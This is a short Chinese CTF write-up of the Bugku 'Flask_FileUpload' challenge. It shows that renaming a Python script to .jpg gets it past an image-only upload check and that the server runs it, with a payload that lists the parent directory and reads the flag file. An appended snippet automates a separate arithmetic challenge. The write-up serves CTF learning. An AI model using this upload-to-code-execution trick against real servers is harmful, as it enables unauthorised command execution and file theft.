[CTF]Bugku Flask_FileUpload

博客内容讲述了如何在CTF挑战中通过上传Python脚本并修改扩展名为jpg来绕过限制。作者利用os模块执行命令,列出目录并读取flag文件内容,从而获取到隐藏的flag。
部署运行你感兴趣的模型镜像

https://ctf.bugku.com/challenges/detail/id/204.html

上传文件,显示只能提交jpg或者png的图片格式。

但是页面的response中有提示,需要提交python。

 直接上传python脚本,修改包的文件扩展名为jpg,python内容是获取当前目录或者上一层目录的文件。这里只截图../的信息,看到里面有个flag文件,再加一段cat这个flag文件便可取得flag。

import os
os.system('ls ../')
os.system('cat ../flag')

您可能感兴趣的与本文相关的镜像

Python3.9

Python3.9

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

Bugku CTF中关于类似“秋名山车”的题目,通常需要在限时内计算车速并通过POST方式传递结果。由于手动计算并传值会超过2s的时间限制,所以需要编写Python脚本实现。 以下是解题的详细步骤及示例脚本: 1. **导入必要的库**:需要`requests`库用于发送HTTP请求,`re`库用于正则表达式匹配。 2. **获取题目页面**:使用`requests.session()`保持会话,确保在整个过程中表达式一致。通过`get`方法获取题目页面的内容。 3. **提取表达式**:使用正则表达式从页面内容中提取需要计算的表达式。 4. **计算表达式的值**:使用`eval()`函数计算表达式的值。 5. **构造POST数据**:将计算结果存储在字典中,作为POST请求的数据。 6. **发送POST请求**:使用`post`方法将计算结果发送到题目页面,并打印响应内容。 以下是示例脚本: ```python import requests import re # 题目URL url = 'http://114.67.246.176:15506/' # 创建会话对象 s = requests.session() # 获取页面内容 response = s.get(url) # 使用正则表达式提取表达式 equation = re.search(r'(\d+[+\-*])+(\d+)', response.text).group() # 计算表达式的值 result = eval(equation) # 构造POST数据 data = {'value': result} # 发送POST请求并打印响应内容 print(s.post(url, data=data).text) ``` 正则表达式`(\d+[+\-*])+(\d+)`的含义: - `\d+`:表示匹配一个或多个数字。 - `[+\-*]`:表示匹配一个加号、减号或乘号。 - `(\d+[+\-*])+`:表示匹配多个数字和运算符组成的“表达式”。 - `(\d+)`:表示最后再加上一组数字。 `re.search()`方法用于扫描整个字符串,并返回第一个成功的匹配。`group()`方法用于返回匹配的字符串。`eval()`函数用于执行一个字符串表达式,并返回表达式的值。 需要注意的是,不同的题目URL可能不同,在实际解题时需要根据题目提供的URL进行修改。此外,有时脚本执行后可能不会立即弹出flag,需要多试几次。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值